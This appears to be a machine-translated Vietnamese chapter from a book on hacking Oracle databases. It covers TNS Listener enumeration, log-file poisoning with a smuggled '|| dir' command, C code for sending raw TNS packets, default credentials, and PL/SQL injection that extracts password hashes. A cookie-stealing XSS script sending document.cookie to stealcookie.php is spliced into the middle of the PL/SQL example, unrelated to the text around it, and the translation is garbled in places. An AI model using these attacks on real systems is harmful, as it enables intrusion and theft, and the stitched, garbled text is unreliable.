Quét các máy chủ Oracle
Việc tìm kiếm một máy chủ cơ sở dữ liệu Oracle trên mạng có thể đạt được hiệu quả tốt nhất bằng cách
thực hiện quét cổng TCP, tất nhiên là trừ khi bạn đã biết vị trí của nó. Oracle và các quy trình ngoại vi của
nó lắng nghe trên rất nhiều cổng khác nhau, rất có thể một trong số chúng sẽ nằm trên cổng mặc định
ngay cả khi hầu hết chúng đều không. Danh sách sau đây trình bày chi tiết một số quy trình Oracle phổ
biến và những cổng nào chúng có thể được tìm thấy liên quan.
Cổng thơng dụng
Các cổng thơng dụng là
199 agntsvc
1520-1530 tnslsnr
1748 dbsnmp
1754 dbsnmp
1809 dbsnmp
1808 dbsnmp
1810 java - Dịch vụ web quản lý doanh nghiệp oracle
1830 emagent
1831 emagent
1850 java ORMI
2030 omtsreco
2100 tnslsnr
2481 tnslsnr
2482 tnslsnr
3025 ocssd
3026 ocssd
4696 ocssd
6003 opmn
6004 opmn
6200 opmn
6201 opmn
7777 Apache - OAS
8080 tnslsnr
9090 tnslsnr
9090
TNS Listener
Khi máy chủ cơ sở dữ liệu Oracle đã được phát hiện, cổng gọi đầu tiên là TNS Listener. Bạn cần lấy một
số thông tin trước khi tiếp tục, chẳng hạn như phiên bản, hệ điều hành và các dịch vụ cơ sở dữ liệu. Tiện
ích kiểm sốt Listener có thể được sử dụng để lấy thông tin này. Chạy tiện ích từ một dịng lệnh và là lệnh
đầu tiên đặt Trình xử lý bạn muốn kết nối:
LSNRCTL> set current_listener 10.1.1.1
Điều này sẽ hướng tất cả các lệnh đến Trình nghe TNS tại địa chỉ IP 10.1.1.1. Sau khi đặt, hãy chạy lệnh
version:
LSNRCTL> version
Connecting to (DESCRIPTION = (CONNECT_DATA = (SID = *) (SERVICE_NAME = 10.1.1.1))
(ADDRESS = (PROTOCOL = TCP) (HOST = 10.1.1.1) (PORT = 1521)))
TNSLSNR for Windows 32 bit: version 9.2.0.1.0 – Production
TNS for 32-bit windows: version 9.2.0.1.0 – Production
Oracle Bequeath NT protocol adapter for 32bit windows: version 9.2.0.1.0 - Production
Tại đây bạn có thể thấy rằng máy chủ đang chạy trên Windows- dựa trên hệ thống và phiên bản của nó là
9.2.0.1.0. Biết số phiên bản cho phép bạn biết những lỗi nào mà máy chủ sẽ dễ bị tấn công - ở một mức
độ nhất định. Một số bản vá lỗi của Oracle không cập nhật số phiên bản trong khi những bản vá lỗi khác
thì có. Số phiên bản chắc chắn đưa bạn vào đúng công viên bóng. Một chút thơng tin tiếp theo bạn cần là
tên của bất kỳ dịch vụ cơ sở dữ liệu nào đang chạy. Bạn nhận được điều này với lệnh dịch vụ.
LSNRCTL> services
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
Services Summary...
Service “ORAXP” has 1 instance(s).
Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
“DEDICATED” established:0 refused:0
LOCAL SERVER
Service “PLSExtProc” has 1 instance(s).
Instance “PLSExtProc”, status UNKNOWN, has 1 handler(s) for this service...
Handler(s):
“DEDICATED” established:0 refused:0
LOCAL SERVER
Service “oraxp.ngssoftware.com” has 1 instance(s).
Instance “oraxp”, status READY, has 1 handler(s) for this service...
Handler(s):
“DEDICATED” established:0 refused:0 state:ready
LOCAL SERVER
Service “oraxpXDB.ngssoftware.com” has 1 instance(s).
Instance “oraxp”, status READY, has 1 handler(s) for this service...
Handler(s):
“D000” established:0 refused:0 current:0 max:1002 state:ready
DISPATCHER (ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=3249))
The command completed successfully
LSNRCTL>
Ở đây bạn có thể thấy rằng có một dịch vụ cơ sở dữ liệu với SID là ORAXP. Lưu ý rằng nếu mật khẩu
của Trình nghe TNS đã được đặt, bạn sẽ gặp lỗi tương tự :
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
TNS-01169: The listener has not recognized the password
LSNRCTL>
LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER -----------------------Alias
Version
LISTENER
TNSLSNR for 32-bit Windows: Version 9.2.0.1.0
- Production
Start Date
11-OCT-2004 00:47:20
Uptime
0 days 0 hr. 22 min. 31 sec
Trace Level
off
Security
ON
SNMP
OFF
Listener Parameter File
C:\oracle\ora92\network\admin\listener.ora
Listener Log File
C:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary... (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)
(PIPENAME=\\.\pipe\EXTPROC0ipc))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)
(PORT=1521))) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)(PORT=8080))
(Presentation=HTTP)(Session=RAW)) (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=GLADIUS)
(PORT=2100)) (Presentation=FTP)(Session=RAW))
Services Summary...
Service “ORAXP” has 1 instance(s).
Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this service...
Service “PLSExtProc” has 1 instance(s).
Instance “PLSExtProc”, status UNKNOWN, has 1 handler(s) for this service...
Service “oraxp.ngssoftware.com” has 1 instance(s).
Instance “oraxp”, status READY, has 1 handler(s) for this service...
Service “oraxpXDB.ngssoftware.com” has 1 instance(s).
Instance “oraxp”, status READY, has 1 handler(s) for this service...
The command completed successfully LSNRCTL>
Từ lệnh trạng thái, bạn có thể thấy một số điều:
1. Phiên bản.
2. Hệ điều hành.
3. Tính năng theo dõi bị tắt.
4. Bảo mật được bật, nghĩa là mật khẩu Trình nghe đã được đặt.
5. Đường dẫn đến các tệp nhật ký.
6. Điểm cuối bài nghe.
7. Cơ sở dữ liệu SIDS, trong trường hợp này là ORAXP.
Điều quan trọng là phải biết SID cơ sở dữ liệu vì bạn cần điều này để thực sự kết nối và sử dụng
các dịch vụ cơ sở dữ liệu. Chúng ta sẽ quay lại vấn đề này sau, bao giờ hết. Trước khi điều này, chúng tôi
sẽ xem xét một số cách máy chủ có thể được cài đặt thơng qua TNS Listener.
Đầu tiên, TNS Listener, tùy thuộc vào phiên bản, có thể dễ bị tấn công bởi một số lỗ hổng tràn bộ
đệm có thể bị khai thác mà khơng có ID người dùng và mật khẩu. Ví dụ, Oracle 9i dễ bị tràn khi máy
khách yêu cầu tên_dịch vụ quá dài. Khi Trình xử lý tạo thơng báo lỗi để ghi nhật ký, giá trị service_name
được sao chép vào bộ đệm dựa trên ngăn xếp bị tràn - ghi đè địa chỉ trả về đã lưu trên ngăn xếp. Điều này
cho phép kẻ tấn cơng giành quyền kiểm sốt. Trên thực tế, TNS Listener đã phải chịu nhiều luồng định
dạng và chuỗi định dạng trong quá khứ. Tìm kiếm trên securityfocus.com sẽ cung cấp cho bạn tất cả các
chi tiết.
Một cuộc tấn công thú vị khác liên quan đến việc đầu độc tệp nhật ký. Điều này chỉ hoạt động
nếu không có mật khẩu Trình nghe nào được đặt. Giả sử một cái chưa được thiết lập, đây là cách cuộc tấn
công sẽ diễn ra. Sử dụng mã sau, tắt
(CONNECT_DATA = (CMD = log_directory) (ARGUMENTS = 4) (VALUE = c: \\))
Điều này đặt thư mục nhật ký thành C: \.
Sau đó tắt
(CONNECT_DATA = (CMD = log_file) (ARGUMENTS = 4) (VALUE = foo.bat))
Điều này đặt tệp nhật ký thành foo.bat.
Sau đó tắt
|| dir> foo.txt
Thao tác này sẽ tạo một tệp loạt từ gốc của ổ C: với nội dung sau:
11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS- 01153: Không xử lý được chuỗi: || dir> foo.txt
NL-00303: lỗi cú pháp trong chuỗi NV
Lưu ý dịng thứ ba: TNS-01153: Khơng xử lý được chuỗi: || dir> foo.txt.
Khi tệp hàng loạt này chạy, mỗi dòng được coi như một lệnh, nhưng tất nhiên chúng không và
chúng không thực thi. Tuy nhiên, do dấu ngoặc kép (||) - lệnh cho Windows Command Interpreter
(cmd.exe) chạy lệnh thứ hai nếu lệnh đầu tiên khơng thành cơng - trong dịng thứ ba, dir> foo.txt thực thi.
Bằng cách chọn một tệp khác, chẳng hạn như tệp sẽ được thực thi tự động khi hệ thống khởi động
hoặc khi ai đó đăng nhập, lệnh sẽ thực thi và hệ thống có thể bị xâm phạm.
Lưu ý rằng các phiên bản Oracle gần đây sẽ thêm .log vào cuối tên tệp để cố gắng bảo vệ khỏi
điều này. Biện pháp bảo vệ tốt hơn là đặt mật khẩu Trình xử lý và cũng bật ADMIN_RESTRICTIONS,
nhưng nhiều hơn về điều này sau này. Oracle chạy trên các hệ thống dựa trên UNIX cũng có thể bị xâm
phạm trong fash-ion này. Một cách để thực hiện việc này là echo "+ +" tới tệp .rhosts của người dùng
Ora- cle và sau đó sử dụng các dịch vụ r * nếu chúng đang chạy.
Mã này có thể được sử dụng để gửi các gói tùy ý qua TNS:
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int SendTNSPacket(void);
int StartWinsock(void);
int packet_length(char *);
int PrintResp(unsigned char *p, int l);
struct sockaddr_in c_sa;
struct sockaddr_in s_sa;
struct hostent *he;
SOCKET sock;
unsigned int addr;
char data[32000]=””;
int ListenerPort=1521;
char host[260]=””;
int prt = 40025;
int PKT_LEN = 0x98;
int two_packets=0;
unsigned char TNSPacket[200]=
“\x00\x3A” // Packet length
“\x00\x00” // Checksum
“\x01” // Type - connect
“\x00” // Flags
“\x00\x00” // Header checksum
“\x01\x39” // Version
“\x01\x2C” // Compat version
“\x00\x00” // Global service options
“\x08\x00” // PDU
“\x7F\xFF” // TDU
“\x86\x0E” // Protocol Characteristics
“\x00\x00” //
“\x01\x00” // Byte order
“\x00\x85” // Datalength
“\x00\x3A” // Offset
“\x00\x00\x07\xF8” // Max recv
“\x0C\x0C” // ANO
“\x00\x00”
“\x00\x00\x00\x00”
“\x00\x00\x00\x00”
“\x0A\x4C\x00\x00”
“\x00\x03\x00\x00”
“\x00\x00\x00\x00”
“\x00\x00”;
unsigned char TNSPacket2[200]=
“\x00\x00” // Packet Length
“\x00\x00” // Checksum
“\x06” // Type – data
“\x00” // Flags
“\x00\x00” // Header Checksum
“\x00\x00”;
int main(int argc, char *argv[])
{
unsigned int ErrorLevel=0,len=0,c =0;
int count = 0;
if(argc < 3)
return printf(“%s host string\n”,argv[0]);
strncpy(host,argv[1],256);
strncpy(data,argv[2],31996);
if(argc == 4)
ListenerPort = atoi(argv[3]);
if(StartWinsock()==0) {
printf(“Error starting Winsock.\n”);
return 0;
}
PKT_LEN = packet_length(data);
SendTNSPacket();
return 0; }
int packet_length(char *datain)
{
int dl=0;
int hl=0x3A;
int tl=0;
int e = 0;
int f =0;
dl = strlen(datain);
printf(“dl = %d and total = %d\n”,dl,dl+hl);
if(dl == 255 || dl > 255)
{
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket[24]=e;
f = dl % 256;
TNSPacket[25]=f;
dl = dl + 10;
e = dl % 256;
e = dl - e;
e = e / 256;
TNSPacket2[0]=e;
f = dl % 256;
TNSPacket2[1]=f;
two_packets = 1;
}
else
{
TNSPacket[25]=dl;
TNSPacket[1]=dl+0x3A;
}
return dl+hl;
}
int StartWinsock()
{
int err=0;
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) return 0;
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{
WSACleanup( );
return 0;
}
if (isalpha(host[0])) he = gethostbyname(host);
else {
addr = inet_addr(host);
he = gethostbyaddr((char *)&addr,4,AF_INET);
}
if (he == NULL) return 0;
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
return 1;
}
int SendTNSPacket(void)
{
SOCKET c_sock;
unsigned char resp[10000]=””;
int snd=0,rcv=0,count=0,
var=0; unsigned int ttlbytes=0;
unsigned int to=2000;
struct sockaddr_in
srv_addr,cli_addr;
LPSERVENT
srv_info;
LPHOSTENT
host_info;
SOCKET
cli_sock;
cli_sock=socket(AF_INET,SOCK_STREAM,0);
if (cli_sock==INVALID_SOCKET) return printf(“ sock error”);
cli_addr.sin_family=AF_INET;
cli_addr.sin_addr.s_addr=INADDR_ANY;
cli_addr.sin_port=htons((unsigned short)prt);
if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))== SOCKET_ERROR)
{
closesocket(cli_sock);
return printf(“bind error”);
}
s_sa.sin_port=htons((unsigned short)ListenerPort);
if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))== SOCKET_ERROR)
{
printf(“Connect error %d”,GetLastError());
return closesocket(cli_sock);
}
snd=send(cli_sock, TNSPacket , 0x3A , 0);
if(two_packets == 1) snd=send(cli_sock, TNSPacket2 , 10 , 0);
snd=send(cli_sock, data , strlen(data) , 0);
rcv = recv(cli_sock,resp,9996,0);
if(rcv != SOCKET_ERROR) PrintResp(resp,rcv);
closesocket(cli_sock);
return 0;
}
int PrintResp(unsigned char *p, int l)
{
int c = 0;
int d = 0;
while(c < l)
{ printf(“%.2X “,p[c]);
c ++;
if(c % 16 == 0)
{
d = c - 16;
printf(“\t”);
while(d < c) { if(p[d] == 0x0A || p[d] == 0x0D) printf(“ “);
else printf(“%c”,p[d]); d++;
}
printf(“\n”);
d = 0;
}}
d = c - 16;
printf(“\t”);
while(d < c) { if(p[d] == 0x0A || p[d] == 0x0D) printf(“ “);
else printf(“%c”,p[d]);
d++;
}
printf(“\n”);
d = 0;
return 0;
}
Các phương pháp khác để thỏa hiệp TNS Listener sẽ được thảo luận ở phần sau, nhưng hiện tại,
chúng ta hãy chuyển sự chú ý của chúng ta đến chính RDBMS. Một bit thơng tin quan trọng mà chúng tôi
yêu cầu là tên của một định danh dịch vụ cơ sở dữ liệu - SID- mà chúng tôi đã thu được từ TNS Listener
trước đó. Ngay cả khi chúng ta muốn khai thác lỗi tràn bộ đệm tên người dùng quá dài trong Oracle 9iR2
trở về trước, chúng ta vẫn cần SID cơ sở dữ liệu này. Sự cố tràn mà tôi vừa đề cập là một trong số những
cách Oracle có thể bị xâm nhập mà khơng có ID người dùng và mật khẩu, được phát hiện bởi Mark
Litchfield. Giả sử bạn sẽ không khai thác tràn để xâm nhập vào hệ thống, bạn chỉ cịn cách đốn ID người
dùng và mật khẩu. Có rất nhiều tài khoản mặc định trong các thành phần khác nhau của Oracle với mật
khẩu mặc định nên đây có lẽ là cách hiệu quả nhất để tấn công máy chủ Oracle. Chúng tôi bao gồm danh
sách đầy đủ hơn 600 trong Phụ lục C. Những thứ chính cần truy cập như sau:
Username
Password
SYS
CHANGE_ON_INSTALL
SYSTEM
MANAGER
DBSNMP
DBSNMP
CTXSYS
CTXSYS
MDSYS
MDSYS
ORACLE
INTERNAL
Để kết nối với hệ thống từ xa bằng sqlplus, bạn sẽ cần chỉnh sửa tệp tnsnames.ora của mình. Bạn
có thể tìm thấy điều này trong thư mục ORACLE_HOME / network / admin. Giả sử máy chủ cơ sở dữ
liệu có địa chỉ IP là 10.1.1.1, SID cơ sở dữ liệu của ORAXP và lắng nghe trên cổng TCP 1521, bạn nên
thêm một mục nhập như sau:
REMOTE =
(DESCRIPTION =
(ADDRESS_LIST = (ADDRESS = (PROTOCOL= TCP)(Host= 10.1.1.1)(Port= 1521))
)
(CONNECT_DATA =
(SID = ORAXP))
(SERVER = DEDICATED)
)
)
Sau khi thêm, bạn có thể kết nối nếu bạn có ID người dùng và mật khẩu:
C:\oracle\ora92\bin>sqlplus /nolog
SQL*Plus: Release 9.2.0.1.0 - Production on Mon Oct 11 03:09:59 2004
Copyright (c) 1982, 2002, Oracle Corporation. All rights reserved.
SQL> connect system/manager@remote
Connected.
SQL>
Sau khi kết nối với máy chủ cơ sở dữ liệu, bạn có thể muốn nâng cao quyền riêng tư nếu bạn chỉ
có một tài khoản như SCOTT. Cách tốt nhất để làm điều này là thông qua khai thác các lỗ hổng trong PL /
SQL.
Oracle’s PL/SQL
PL / SQL là ngôn ngữ được sử dụng để tạo các thủ tục, hàm, trigger và đối tượng được lưu trữ trong
Oracle. Nó là viết tắt của Ngơn ngữ thủ tục / SQL và dựa trên ngơn ngữ lập trình ADA. PL / SQL là một
phần không thể thiếu đối với Oracle, tôi khuyên bạn nên lấy một cuốn sách trên đó và đọc nó, nhưng
trong thời gian chờ đợi, đây là một bài học nhanh trong một phút. Đây là mã cho "Hello, world!"
CREATE OR REPLACE PROCEDURE HELLO_WORLD AS
BEGIN
DBMS_OUTPUT.PUT_LINE(‘Hello, World!’);
END;
Nếu bạn chạy thủ tục này với
EXEC HELLO_WORLD
và bạn không nhận được bất kỳ đầu ra nào, hãy chạy
SET SERVEROUTPUT ON
Về cơ bản, thủ tục này gọi thủ tục PUT_LINE được định nghĩa trong gói DBMS_OUTPUT. Gói
PL / SQL là một tập hợp các thủ tục và hàm (thường) liên quan đến cùng một thứ. Ví dụ: chúng tơi có thể
tạo một loạt các thủ tục và chức năng để sửa đổi dữ liệu nhân sự trong cơ sở dữ liệu cho phép chúng tôi
thêm hoặc giảm nhân viên, tăng lương, v.v. Chúng tơi có thể có một thủ tục ADD_EMPLOYEE,
DROP_EMPLOYEE và BUMP_UP_WAGE. Thay vì để các thủ tục này chỉ thả nổi tự do, chúng ta có thể
tạo một gói xuất các thủ tục này và gọi gói HR. Khi thực hiện thủ tục ADD_EMPLOYEE, chúng ta sẽ
thực hiện
EXEC HR.ADD_EMPLOYEE ('David');
Nếu gói này được SCOTT xác định và PUBLIC có quyền thực thi để thực thi gói HR, họ có thể
làm như vậy bằng cách gọi
EXEC SCOTT. HR.ADD_EMPLOYEE ('Sophie');
Vì vậy, sự khác biệt giữa một thủ tục PL / SQL và một hàm là gì? Vâng, một hàm trả về một giá
trị trong khi một thủ tục thì không. Đây là cách tạo một hàm đơn giản:
CREATE OR REPLACE FUNCTION GET_DATE RETURN VARCHAR2
IS
BEGIN
RETURN SYSDATE;
END;
Hàm này chỉ trả về SYSDATE và có thể được thực thi như sau:
SELECT GET_DATE FROM DUAL;
Khơng cần phải nói, PL / SQL có thể được sử dụng để tạo các thủ tục có chứa các truy vấn SQL
và hơn thế nữa, nếu PL / SQL khơng thể thực hiện điều gì đó, bạn có thể mở rộng PL / SQL với các thủ
tục bên ngồi - hãy nói thêm về điều này sau. |
Được rồi, bài học kết thúc; hãy chuyển sang PL / SQL và bảo mật. Khi một thủ tục PL / SQL thực
thi nó sẽ làm như vậy với quyền của người dùng đã xác định thủ tục. Điều này có nghĩa là nếu SYS tạo
một thủ tục và SCOTT cấp phép nó, thì thủ tục sẽ thực thi với các đặc quyền của SYS. Điều này được gọi
là thực thi với quyền định nghĩa. Có thể thay đổi hành vi này. Nếu bạn muốn quy trình thực thi với quyền
của người dùng đang chạy quy trình, bạn có thể thực hiện việc này bằng cách tạo quy trình và sử dụng từ
khóa AUTHID CURRENT_USER. Ví dụ:
CREATE OR REPLACE PROCEDURE HELLO_WORLD AUTHID CURRENT_USER AS
BEGIN
DBMS_OUTPUT.PUT_LINE(‘Hello, World!’);
END;
Khi điều này thực thi, nó sẽ làm như vậy với quyền của người dùng chứ không phải định nghĩa.
Điều này được gọi là thực hiện với quyền của người chơi. Trước đây là hữu ích cho các trường hợp mà
bạn muốn một số người dùng của mình có thể CHÈN vào một bảng nhưng bạn khơng thực sự muốn cấp
cho họ quyền truy cập trực tiếp vào chính bảng đó. Bạn có thể đạt được điều này bằng cách tạo một thủ
tục mà họ có thể thực thi sẽ chèn dữ liệu vào bảng và sử dụng quyền của trình xác định. Tất nhiên, nếu
thủ tục này không phù hợp với việc đưa vào PL / SQL, thì điều này có thể dẫn đến việc người dùng có đặc
quyền thấp có được các đặc quyền cao hơn - họ sẽ có thể đưa vào SQL thực thi với các quyền riêng của
bạn. Chúng ta sẽ thảo luận sâu về vấn đề này ngay trong phần "PL / SQL Injection."
Một khía cạnh quan trọng khác của PL / SQL là có thể mã hóa bất kỳ thủ tục hoặc chức năng nào
bạn tạo. Điều này được cho là sẽ ngăn mọi người kiểm tra xem quy trình thực sự hoạt động như thế nào.
Trong biệt ngữ Oracle, mã hóa này được gọi là gói. Đầu tiên, bạn phải nhớ rằng đó là mã hóa - nó có thể
được giải mã và văn bản rõ ràng có thể được truy xuất. Thật vậy, hãy đặt điểm ngắt trong phiên gỡ lỗi ở
đúng địa chỉ và bạn có thể nhận được văn bản khá dễ dàng. Ngay cả khi bạn khơng làm điều này, bạn vẫn
có thể tìm ra những gì đang xảy ra trong một quy trình mặc dù nó đã được mã hóa. Bạn thấy có một bảng
tên là ARGUMENT $ trong lược đồ SYS có chứa danh sách các thủ tục và hàm có sẵn trong gói nào và
chúng lấy tham số nào. Đây là mơ tả của bảng:
SQL> desc sys.argument$
Name
Null?
Type
----------------------------------------- -------- --------------------------------------------------------OBJ#
NOT NULL
PROCEDURE$
OVERLOAD#
NUMBER
VARCHAR2(30)
NOT NULL
PROCEDURE#
NUMBER
NUMBER
POSITION#
NOT NULL
NUMBER
SEQUENCE#
NOT NULL
NUMBER
LEVEL#
NOT NULL
NUMBER
ARGUMENT
TYPE#
VARCHAR2(30)
NOT NULL
NUMBER
CHARSETID
NUMBER
CHARSETFORM
NUMBER
DEFAULT#
NUMBER
IN_OUT
NUMBER
PROPERTIES
NUMBER
LENGTH
NUMBER
PRECISION#
NUMBER
SCALE
NUMBER
RADIX
NUMBER
DEFLENGTH
NUMBER
DEFAULT$
LONG
TYPE_OWNER
VARCHAR2(30)
TYPE_NAME
VARCHAR2(30)
TYPE_SUBNAME
VARCHAR2(30)
TYPE_LINKNAME
VARCHAR2(128)
PLS_TYPE
VARCHAR2(30)
Có một gói tên là DBMS_DESCRIBE cũng có thể được sử dụng để "xem xét" những thứ như
vậy. Văn bản của DBMS_DESCRIBE được bao bọc, vì vậy hãy sử dụng nó làm ví dụ về cách sử dụng
bảng ARGUMENT $ để nghiên cứu một gói.
Trước tiên, bạn cần ID đối tượng của gói DBMS_DESCRIBE - đây là từ Oracle 9.2, tình cờ:
SQL> select object_id,object_type from all_objects where object_name = ‘DBMS_DESCRIBE’;
OBJECT_ID OBJECT_TYPE
---------- -----------------3354 PACKAGE
3444 PACKAGE BODY
3355 SYNONYM
Bạn có thể thấy ID đối tượng là 3354.
Bây giờ bạn lấy nó và liệt kê các thủ tục và chức năng trên DBMS_DESCRIBE:
SQL> select distinct procedure$ from sys.argument$ where obj#=3354
PROCEDURE$
-------------------------DESCRIBE_PROCEDURE
Hóa ra chỉ có một thủ tục trong gói và nó được gọi là QUY TRÌNH MƠ TẢ. (Lưu ý rằng trong
khi đặc tả gói chỉ có thể chứa một thủ tục thì phần thân của gói, tức là, mã đằng sau gói, có thể có nhiều
thủ tục và chức năng riêng. Chỉ có thể gọi các thủ tục và chức năng công khai.)
Để nhận danh sách các đối số cho thủ tục DESCRIBE_PROCEDURE, bạn thực thi
SQL> select distinct position#,argument,pls_type from sys.argument$
where obj#=3354
and procedure$=’DESCRIBE_PROCEDURE’;
POSITION#
ARGUMENT
PLS_TYPE
------------------------------------------------------- ------------------------------ -----------------------------1
OBJECT_NAME
VARCHAR2
1
NUMBER
1
VARCHAR2
2
RESERVED1
VARCHAR2
3
RESERVED2
VARCHAR2
4 OVERLOAD
5 POSITION
6 LEVEL
7 ARGUMENT_NAME
8 DATATYPE
9 DEFAULT_VALUE
10 IN_OUT
11 LENGTH
12 PRECISION
13 SCALE
14 RADIX
15 SPARE
Nếu PLS_TYPE khơng được liệt kê thì đó khơng phải là kiểu dữ liệu PL / SQL chuẩn của bạn.
Trong trường hợp này, các đối số từ 4 đến 15 thuộc loại NUMBER_TABLE.
Bạn có thể thấy bạn có thể bắt đầu lấy thơng tin hữu ích về các gói được bọc nhanh như thế nào
ngay cả khi nguồn khơng có sẵn.
Tình cờ có một lỗi tràn bộ đệm trong q trình gói trên máy chủ mà cả Oracle 9i và 10g đều dễ bị
tấn cơng. Hiện đã có bản vá nhưng lỗi tràn bộ đệm có thể được kích hoạt bằng cách tạo một thủ tục được
bọc với một hằng số quá dài trong đó. Điều này có thể được khai thác để giành tồn quyền kiểm sốt máy
chủ.
Vì vậy, trước khi chúng ta tiếp tục, đây là những điểm chính cần nhớ. Đầu tiên, theo mặc định,
các thủ tục thực thi với quyền của người định nghĩa - nghĩa là, chúng thực thi với quyền riêng của người
dùng đã định nghĩa hoặc tạo ra thủ tục. Mặc dù điều này có thể hữu ích cho các ứng dụng, nhưng nó sẽ
mở ra một lỗ hổng bảo mật nếu quy trình được mã hóa kém và dễ bị tấn cơng bởi PL / SQL Injection.
PL / SQL Injection
Trong phần này chúng ta thảo luận về PL / SQL Injection, một kỹ thuật tấn công quan trọng liên
quan đến các thủ tục được lưu trữ trong Oracle. Sử dụng PL / SQL Injection, những kẻ tấn cơng có thể
nâng cấp đặc quyền của họ từ tài khoản PUBLIC cấp thấp lên tài khoản có đặc quyền cấp DBA. Kỹ thuật
này liên quan đến hầu hết tất cả các phiên bản của Oracle, và có thể được sử dụng để tấn cơng các thủ tục
được lưu trữ tùy chỉnh cũng như các thủ tục được cung cấp cùng với chính Oracle.
Chèn vào câu lệnh SELECT
Phần này kiểm tra cách đưa vào câu lệnh SELECT.
Một ví dụ đơn giản
Hãy xem xét mã của thủ tục này và giả sử nó thuộc sở hữu của SYS và có thể được thực thi bởi PUBLIC:
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS
TYPE C_TYPE IS
REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV
FOR ‘SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘’’ || P_OWNER || ‘’’
AND OBJECT_TYPE=’’LIBRARY’’’;
LOOP
FETCH CV INTO buffer;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END; /
Thủ tục này liệt kê tất cả các thư viện thuộc sở hữu của một người dùng nhất định - người
dùng được hỗ trợ bởi người thực hiện thủ tục. Sau đó, danh sách các thư viện được lặp lại tới thiết
bị đầu cuối bằng cách sử dụng DBMS_OUTPUT.PUT_LINE. Thủ tục sẽ được thực thi như sau:
SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES ('SYS');
<script>var a = new Image();</script>
<script>var x1=" /><script>var x2 = "stealcookie.php?c=";</script>
<script>var x3 = document.cookie;</script>
<script>a.src=x1+x2+x3;</script>
<script>var b = new Image();</script>
<script>b.src=`${(x1)}${(x2)}${(x3)}`;</script>
Thủ tục này dễ bị chèn SQL. Người dùng thực thi quy trình có thể nhập một trích dẫn duy nhất để
"thốt ra" khỏi truy vấn được xác định bằng mã ban đầu và chèn truy vấn bổ sung của riêng mình. Vì
Oracle không thực hiện các truy vấn hàng loạt như Microsoft SQL Server, nên theo truyền thống, người ta
tin rằng những kẻ tấn cơng chỉ có khả năng thực hiện các truy vấn UNION SELECT trong những tình
huống như vậy. Bạn sẽ thấy rằng đây không phải là trường hợp sớm. Tuy nhiên, trước đó, hãy xem cách
một UNION SELECT có thể được đưa vào để trả về các băm mật khẩu cho mỗi người dùng được lưu trữ
trong bảng SYS.USER $.
SET SERVEROUTPUT ON
EXEC SYS.LIST_LIBRARIES(‘FOO’’ UNION SELECT PASSWORD FROM SYS.USER$--’);
Khi chạy truy vấn này, thay vì truy vấn được xác định bằng mã ban đầu
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ AND
OBJECT_TYPE=’LIBRARY’
đang thực thi, thay vào đó thực thi sau:
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ‘FOO’ ‘UNION SELECT PASSWORD FROM
SYS.USER$ --’ AND OBJECT_TYPE=’LIBRARY’
Dấu trừ kép ở cuối biểu thị một nhận xét trong các truy vấn Oracle và loại bỏ hiệu quả AND
OBJECT_TYPE =' LIBRARY '. Khi truy vấn chạy, danh sách các băm mật khẩu được xuất ra thiết bị đầu
cuối. Nếu chúng tôi muốn lấy cả băm mật khẩu và tên người dùng ra, chúng tôi thử
EXEC SYS.LIST_LIBRARIES ('FOO UNION SELECT NAME, PASSWORD FROM
SYS.USER$ -');
Nhưng điều này trả về lỗi:
ORA-01789: khối truy vấn có số cột kết quả khơng chính xác
ORA-06512: tại "SYS.LIST_LIBRARIES", dịng 6
Chúng tơi có thể tự loại bỏ tên người dùng của họ, giống như chúng tôi đã làm với băm mật khẩu,
nhưng khơng có gì đảm bảo rằng cả hai sẽ khớp nhau. (Hàm băm mật khẩu liên quan trực tiếp đến tên
người dùng trong Oracle và vì vậy khi bẻ khóa mật khẩu Oracle, điều quan trọng là phải có tên người
dùng phù hợp đi cùng với hàm băm phù hợp.) Sau đó, làm thế nào để bạn kết hợp cả hai? Đối với điều
này, bạn cần phải tạo một hàm của riêng mình và như bạn sẽ thấy, điều này giải quyết vấn đề Oracle
không phân phối các truy vấn.
Injecting Attacker-Defined Functions to Overcome Barriers
Vì vậy, chúng tơi có một thủ tục, LIST_LIBRARIES, chúng tơi có thể đưa vào và trả về dữ liệu
từ một cột duy nhất. (Nếu bạn không đọc văn bản của phần "Một ví dụ đơn giản" trước đó, tơi khuyên bạn
